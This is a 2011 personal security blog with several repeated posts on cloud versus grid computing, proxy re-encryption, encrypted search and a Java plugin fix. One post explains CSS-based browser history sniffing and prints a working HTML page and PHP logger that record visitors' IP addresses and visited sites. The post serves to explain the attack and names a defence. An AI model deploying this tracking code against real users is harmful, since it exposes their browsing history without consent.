I wanted to run a Java applet from Firefox. I was using Firefox on Ubuntu. I am using Open JDK 6. You need libnpjp2.so browser plug-in for that. However, Open JDK does not have this plug-in. So, had to install Sun Java plug-in:
sudo apt-get install sun-java6-plugin
Then you need to go to the firefox plug-in directory and make a hard link to the libnpjp2.so library. (You need to close firefox before making the hard link)
cd /usr/lib/firefox/plugins
ln -s /usr/lib/jvm/java-6-sun-1.6.0.22/jre/lib/i386/libnpjp2.so .
You will see the plug-in listed in Tools > Add-ons > Plugins tab. You can enable or disable any time. (QuickJava Firefox extension provide a nice little tool to enable/disable on the fly.)
Hope that helps.
Monday, May 2, 2011
Wednesday, April 27, 2011
De-anonymizing social network users
Recently read an interesting paper about de-anaonymizing social network users that appeared in last year's S&P. The idea is quite simple: the groups a user belongs act as a fingerprint of the user (aka group fingerprint of a user); in other words, the set of group a user belongs allows to identify a user uniquely. Most of the social networks provide the ability to be (or not to be) a member of groups. If an attacker can get hold of the group membership information of a user from these social networks, then it can uniquely identify the user (e.g. associate an IP address with a specific user). How to steal the group membership information? They use another simple technique to do this; use an existing technique to steal user browser history.
I initially thought you've got to have javascript enabled in order to steal user browser history (you are still not safe even if you disable javascript!). I was curious to find out how to do without javascripts. You can do a simple CSS trick to steal the browser history (an online example). The idea is quite simple. In your style sheet, you specify which URL's you want to track. Then you use some kind of a social engineering trick for the user to open your malicious page. For the user there is nothing visible, it is an innocuous html page; but it simply checks browser history and if the user had happened to have visited some of the links listed in the page, it sends a message back to the malicious server. Then the malicious server knows which links user visited.
For example,
This is a simple malicious page html page that I want to get a user to open:
And I have a small malicious php file which write to a txt if the user has visited a specific link:
<?php
$client = $_SERVER['REMOTE_ADDR'];
$fp = fopen("history.txt", "a");
$str = $client . " has accessed " . $_GET['t'] . "\n";
fwrite($fp, $str);
fclose($fp);
?>
The history.txt file has something like:
205.10.1.1 has accessed http://www.google.com
210.34.5.11 has accessed http://www.google.com
210.34.5.11 has accessed http://www.dailymirror.lk
You get the idea. It is quite simple to launch this attack.
Found that this plug-in from Stanford said to protect your browser from visited link based attacks. (Update: this plug-in is no longer maintained. Only has an xpi for FF 2.0)
I initially thought you've got to have javascript enabled in order to steal user browser history (you are still not safe even if you disable javascript!). I was curious to find out how to do without javascripts. You can do a simple CSS trick to steal the browser history (an online example). The idea is quite simple. In your style sheet, you specify which URL's you want to track. Then you use some kind of a social engineering trick for the user to open your malicious page. For the user there is nothing visible, it is an innocuous html page; but it simply checks browser history and if the user had happened to have visited some of the links listed in the page, it sends a message back to the malicious server. Then the malicious server knows which links user visited.
For example,
This is a simple malicious page html page that I want to get a user to open:
<html>
<body>
<style>
span.s1 a:visited {
background:url(visited.php?t=http%3A//http.google.com);
}
span.s2 a:visited {
background:url(visited.php?t=http%3A//http.dailymirror.lk);
}
</style>
<span class="s1">
<a href="http://www.google.com">www.google.com</a>
</span>
<br/>
<span class="s2">
<a href="http://www.dailymirror.lk">www.dailymirror.lk</a>
</span>
</body>
</html>
And I have a small malicious php file which write to a txt if the user has visited a specific link:
<?php
$client = $_SERVER['REMOTE_ADDR'];
$fp = fopen("history.txt", "a");
$str = $client . " has accessed " . $_GET['t'] . "\n";
fwrite($fp, $str);
fclose($fp);
?>
The history.txt file has something like:
205.10.1.1 has accessed http://www.google.com
210.34.5.11 has accessed http://www.google.com
210.34.5.11 has accessed http://www.dailymirror.lk
You get the idea. It is quite simple to launch this attack.
Found that this plug-in from Stanford said to protect your browser from visited link based attacks. (Update: this plug-in is no longer maintained. Only has an xpi for FF 2.0)
Friday, April 15, 2011
Grid vs. Cloud computing
In today's group meeting, we were discussing the security issues in the cloud computing paradigm. At the end of the meeting, I was confused about the difference between grid vs. cloud computing. Are they both refer to the same thing? Or Are they different? Or Are they have things in common? If it is the last case, what is common and what is different? So, I decided to look for the answer.
I am not familiar with grid computing, but Ian Foster et.al.'s 2008 paper titled "Cloud computing and grid computing 360-degree compared" helped to resolve some of the confusions I had in mind. This blog post is based on the material in that paper.
The following diagram shows the big picture of grid vs. cloud computing.
The following discussion is based on projects such as TeraGrid (grid computing) vs. commercially available Amazon EC2, Microsoft Azure (cloud computing).
How the resources are distributed?
To me both are the same from the distributed system point of view; both try to reduce the computing cost by using distributed cluster of computers. However, the main difference appear to be how the two approaches work. It is safe to say that, from a user's point of view, cloud computing is a centralized model whereas grid computing is a decentralized model where the computation could occur over many administrative domains.
Who controls?
In cloud computing (at least from what I have seen so far), one party has the control over the cluster of computers, whereas in grid computing, there is no one controller that can control all the nodes in the cluster. In other words, cloud computing allows a user/organization to build a virtual organization on a third party infrastructure where as grid computing tries to build a collaborative virtual organization that does not belong to one single entity.
How the on demand computation works?
Both have the notion of on demand computation. However, grid computing is more of an incentive model (e.g. if you provide computation resources, you also get computation resources from others who have already joined the grid/cluster), whereas in cloud computing there is no notion of incentive model. Cloud computing is more of a utility model like electricity consumption where you pay for what you use. One could argue that both have some kind of a utility model; in grid computing you trade your idle computation cycles, unused space, etc. with some other (same or different) resources available in the virtual network and in cloud computing, you trade your money for the resources available with a cloud provider.
I don't claim that the above description is fully correct. I may have looked at the topic from a narrow point of view. Please feel free to voice your opinion.
I am not familiar with grid computing, but Ian Foster et.al.'s 2008 paper titled "Cloud computing and grid computing 360-degree compared" helped to resolve some of the confusions I had in mind. This blog post is based on the material in that paper.
The following diagram shows the big picture of grid vs. cloud computing.
The following discussion is based on projects such as TeraGrid (grid computing) vs. commercially available Amazon EC2, Microsoft Azure (cloud computing).How the resources are distributed?
To me both are the same from the distributed system point of view; both try to reduce the computing cost by using distributed cluster of computers. However, the main difference appear to be how the two approaches work. It is safe to say that, from a user's point of view, cloud computing is a centralized model whereas grid computing is a decentralized model where the computation could occur over many administrative domains.
Who controls?
In cloud computing (at least from what I have seen so far), one party has the control over the cluster of computers, whereas in grid computing, there is no one controller that can control all the nodes in the cluster. In other words, cloud computing allows a user/organization to build a virtual organization on a third party infrastructure where as grid computing tries to build a collaborative virtual organization that does not belong to one single entity.
How the on demand computation works?
Both have the notion of on demand computation. However, grid computing is more of an incentive model (e.g. if you provide computation resources, you also get computation resources from others who have already joined the grid/cluster), whereas in cloud computing there is no notion of incentive model. Cloud computing is more of a utility model like electricity consumption where you pay for what you use. One could argue that both have some kind of a utility model; in grid computing you trade your idle computation cycles, unused space, etc. with some other (same or different) resources available in the virtual network and in cloud computing, you trade your money for the resources available with a cloud provider.
I don't claim that the above description is fully correct. I may have looked at the topic from a narrow point of view. Please feel free to voice your opinion.
Wednesday, March 23, 2011
Starting a sub sandwitch business applying MapReduce :)
Here's the simplified process:
Input map to the mapper:
item1 -> bread, item2 -> cucumber, item3 -> green pepper, item4 -> tomato, item5 -> lettuce, item6 -> onion
Output map of the mapper:
item1 -> sliced bread, , item2 -> sliced cucumber, item3 -> chopped green pepper, item4 -> sliced tomato, item5 -> chopped lettuce, item6 -> sliced onion
Output map of the reducer:
vegi subs
That's the start-up. It is self-explanatory to see how easy it is to parallelize these tasks and make subs quickly on the fly. As the business grows, adding different varieties of breads, toppings, meats, etc. is quite easy too.
Input map to the mapper:
Output map of the mapper:
Output map of the reducer:
vegi subs
That's the start-up. It is self-explanatory to see how easy it is to parallelize these tasks and make subs quickly on the fly. As the business grows, adding different varieties of breads, toppings, meats, etc. is quite easy too.
Tuesday, March 8, 2011
Wish list of search over encrypted data
The encrypted data is hosted in an untrusted server (honest-but-curious case only) and a user wants to make a "special" query and obtain only the matching data objects. I use the word "special" since you need to have some kind of an encoded query in order for the server to execute it over encrypted data without decrypting the data.
My wish list: The server should not be able to
- learn what the "special" query is
- create the "special" query by itself
- distinguish between encrypted data objects
- learn the result of the "special" query
My wish list: The server should not be able to
- learn what the "special" query is
- create the "special" query by itself
- distinguish between encrypted data objects
- learn the result of the "special" query
Wednesday, March 2, 2011
Proxy re-encryption
Alice wants to allow Bob to decrypt messages encrypted under her public key, but Alice does not want to give her private key to Bob. How can Alice do this? One way is to use the help of a proxy. Alice would not want to give her private key to the proxy either, since it requires an unrealistic amount of trust. What Alice wants is a way for a proxy to convert the messages encrypted under her public key to messages encrypted under Bob's public without the proxy decrypting Alice's messages. This is where Alice can use proxy re-encryption. Alice gives some information to the proxy so that it can covert the messages. Alice is the delegator and Bob is the delegatee.
An example would be Alice wants to temporarily forward her emails encrypted under her public key to Bob. So, she forwards her encrypted emails to a proxy and gets it to covert her encrypted emails to the ones encrypted under Bob's public key so that Bob can decrypt and read the emails.
Some of the security properties demonstrated by existing proxy re-encryption schemes:
1. The proxy cannot see the plaintext unless it colludes with Bob.
2. The proxy cannot derive the secret key of Alice (even when the proxy colludes with Bob).
3. The scheme could be bi-directional (When Alice delegates to Bob, automatically Bob delegates to Alice. So, Alice and Bob need to have mutual trust for such schemes to work) or uni-directional (Alice can delegate to Bob without Bob having to delegate to her. Thus, the trust relationship between Alice and Bob does not need to be mutual).
4. The scheme could be transitive (Alice can delegate to Bob, and Bob can delegate to Tim in turn for example.) or non-transitive (Bob cannot delegate to Tim).
An example would be Alice wants to temporarily forward her emails encrypted under her public key to Bob. So, she forwards her encrypted emails to a proxy and gets it to covert her encrypted emails to the ones encrypted under Bob's public key so that Bob can decrypt and read the emails.Some of the security properties demonstrated by existing proxy re-encryption schemes:
1. The proxy cannot see the plaintext unless it colludes with Bob.
2. The proxy cannot derive the secret key of Alice (even when the proxy colludes with Bob).
3. The scheme could be bi-directional (When Alice delegates to Bob, automatically Bob delegates to Alice. So, Alice and Bob need to have mutual trust for such schemes to work) or uni-directional (Alice can delegate to Bob without Bob having to delegate to her. Thus, the trust relationship between Alice and Bob does not need to be mutual).
4. The scheme could be transitive (Alice can delegate to Bob, and Bob can delegate to Tim in turn for example.) or non-transitive (Bob cannot delegate to Tim).
Tuesday, February 22, 2011
Encryption in the cloud
Good read on the $subject
There are solutions for data-at-rest, but they are far from perfect for cloud scenarios. In my opinion, the most challenging one is the data-in-process. There are some basic solutions to perform computation over encrypted data, but they are quite limited. This is mainly due to the fact that we still don't have efficient fully homomorphic encryption schemes. I think in the next decade, we will see better techniques to perform computation over encrypted data without decrypting them.
There are solutions for data-at-rest, but they are far from perfect for cloud scenarios. In my opinion, the most challenging one is the data-in-process. There are some basic solutions to perform computation over encrypted data, but they are quite limited. This is mainly due to the fact that we still don't have efficient fully homomorphic encryption schemes. I think in the next decade, we will see better techniques to perform computation over encrypted data without decrypting them.
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